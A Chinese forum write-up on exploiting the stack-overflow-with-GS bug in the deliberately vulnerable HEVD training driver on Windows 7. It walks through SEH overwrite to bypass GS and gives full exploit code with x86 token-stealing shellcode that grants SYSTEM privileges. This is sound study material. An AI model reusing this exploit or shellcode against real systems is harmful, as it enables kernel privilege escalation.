内核漏洞学习-HEVD-StackOverflowGS
本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
1
概述
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
2
前置知识
(1)栈中的守护天使:GS
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。
Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本,如图:
在Security Check的过程中,系统将比较栈帧中原先存放的Security Co okie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。
但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用GS,以下情况不会应用GS。
通过GS安全编译选项,操作系统能够在运行中有效地检测并阻止绝大多数基于栈溢出的攻击。要想硬对硬地冲击GS机制,是很难成功的。让我们再来看看Security C ookie产生的细节。
修改栈帧中函数返回地址的经典攻击将被GS机制有效遏制;
基于改写函数指针的攻击,GS很难防御;
针对异常处理机制的攻击,GS很难防御;
GS是对栈帧的保护机制,因此很难防御堆溢出的攻击。
(2)攻击SEH绕过GS保护
EXCEPTION_DISPOSITION__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext);EBP-00 _ebpEBP-04 trylevelEBP-08 scopetable数组指针EBP-0C handler函数地址EBP-10指向前一个EXCEPTION_REGISTRATION结构EBP-14 GetExceptionInformationEBP-18 栈帧中的标准ESP3
漏洞点分析
BufferOverflowStackGS开启GS保护。
lm 查看所有已加载模块lm m H* 设置过滤,查找HEVD模块lm m HEVD#define BUFFER_SIZE 512 NTSTATUSTriggerBufferOverflowStackGS( _In_ PVOID UserBuffer, _In_ SIZE_T Size){ NTSTATUS Status = STATUS_SUCCESS; UCHAR KernelBuffer[BUFFER_SIZE] = { 0 }; PAGED_CODE(); __try { ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer)); #ifdef SECURE RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));//安全版本#else DbgPrint("[+] Triggering Buffer Overflow in Stack (GS)\n"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);//不安全版本,未对size做限制#endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status;}4
漏洞利用
kd>bp HEVD!TriggerBufferOverflowStackGSkd>g //运行kd>r //查看寄存器EBP-00 _ebpEBP-04 trylevelEBP-08 scopetable数组指针EBP-0C handler函数地址EBP-10指向前一个EXCEPTION_REGISTRATION结构EBP-14 GetExceptionInformationEBP-18 栈帧中的标准ESPDWORD WINAPI StackOverflowGSThread(LPVOID Parameter) { HANDLE hFile = NULL; ULONG BytesReturned; SIZE_T PageSize = 0x1000; HANDLE Sharedmemory = NULL; PVOID MemoryAddress = NULL; PVOID SuitableMemoryForBuffer = NULL; LPCSTR FileName = (LPCSTR)DEVICE_NAME; LPVOID SharedMappedMemoryAddress = NULL; SIZE_T SeHandlerOverwriteOffset = 0x214; PVOID EopPayload = &TokenStealingPayladGSWin7; LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME; __try { // 获得设备句柄 DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); } DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); DEBUG_INFO("\t\t[+] Creating Shared Memory\n"); // Create the shared memory //CreateFileMapping 用于创建一个文件映射内核对象 Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, PageSize, SharedMemoryName); if (!Sharedmemory) { DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory); } DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n"); // Map the shared memory in the process space of this process //MapViewOfFile 将一个文件映射对象映射到当前应用程序的地址空间 SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, FILE_MAP_ALL_ACCESS, 0, 0, PageSize); if (!SharedMappedMemoryAddress) { DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress); } SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距离se handle的偏移 DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer); DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);//'A'填充 MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204); *(PULONG)MemoryAddress = 0x42424242; DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress); MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x43434343; MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x44444444; DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress); MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = (ULONG)EopPayload; // EopPayload覆盖SE Handler,SuitableMemoryForBuffer+0x220 DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress); DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n"); OutputDebugString("****************Kernel Mode****************\n"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS, (LPVOID)SuitableMemoryForBuffer,// SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距离se handle的偏移 (DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,//RAISE_EXCEPTION_IN_KERNEL_MODE 0x4,利用这个多出来的0x4大小,使得驱动访问无效内存,触发异常 NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS;}DriverEntry{.......DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; ........}IrpDeviceIoCtlHandler( _In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp){ ULONG IoControlCode = 0; PIO_STACK_LOCATION IrpSp = NULL; NTSTATUS Status = STATUS_NOT_SUPPORTED; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS: DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n"); Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp); DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n"); break; } }BufferOverflowStackGSIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp){ SIZE_T Size = 0; PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); //首先将指定的Method参数设置为METHOD_NEITHER。DeviceI0Control函数中 //往驱动中Input数据:通过I/O堆栈的Parameters.DeviceIoControl.Type3InputBuffer得到DeviceIoControl提供的输入缓冲区地址,Parameters.DeviceIoControl.InputBufferLength得到其长度。 UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerBufferOverflowStackGS(UserBuffer, Size); } return Status;}_KPCR+0x120 PrcbData : _KPRCB_KPRCB+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState : _KAPC_STATE_KAPC_STATE+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体_EPROCESS +0x0b4 UniqueProcessId : Ptr32 Void,当前进程ID,系统进程ID=0x04 +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程 +0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限__asm { pushad ; 保存寄存器 xor eax, eax ;eax置0 mov eax, fs:[eax + KTHREAD_OFFSET] ; 获得当前线程的_KTHREAD结构,KTHREAD_OFFSET=0x124 ; FS:[0x124] 是 _KTHREAD结构 mov eax, [eax + EPROCESS_OFFSET] ; 找到_EPROCESS结构, nt!_KTHREAD.ApcState.Process,EPROCESS_OFFSET 0x50 mov ecx, eax ; ecx ,当前进程Eprocess结构体 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink,FLINK_OFFSET=0xb8 sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId,PID_OFFSET=0xb4 jne SearchSystemPID ;遍历链表根据PID判断是否为SYSTEM_PID(0x4) //替换token mov edx, [eax + TOKEN_OFFSET] ; 获得系统进程token 。TOKEN_OFFSET=0xf8 mov [ecx + TOKEN_OFFSET], edx ; 系统进程token替换当前进程token ; End of Token Stealing Stub popad ; Restore registers state ; Kernel Recovery Stub xor eax, eax ; Set NTSTATUS SUCCEESS add esp, 12 ; Fix the stack pop ebp ; Restore saved EBP ret 8 ; Return cleanly }memset(pMapView, 'a', PAGE_SIZE); PULONG pOverflowBuffer = (PULONG)((ULONG)pMapView + (PAGE_SIZE - BUFFER_SIZE));// pOverflowBuffer 到被设置为映射内存区的尾部,差BUFFER_SIZE大小 for (ULONG i= 0; i < BUFFER_SIZE; i += 4) { *(PULONG)((ULONG)pOverflowBuffer + i) = (ULONG)&payload; } ULONG length = 0; BOOL ret = DeviceIoControl(hDevice, CASE_ID, (LPVOID)pOverflowBuffer, BUFFER_SIZE + MISS_PAGE_SIZE, //pOverflowBuffer +BUFFER_SIZE + MISS_PAGE_SIZE---》导致驱动访问MISS_PAGE_SIZE大小的无效内存,触发异常 NULL, 0, &length, NULL);5
补丁分析
刚接触内核漏洞,如果有哪写的不对,希望大佬们指出。
看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm
# 往期推荐
4.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!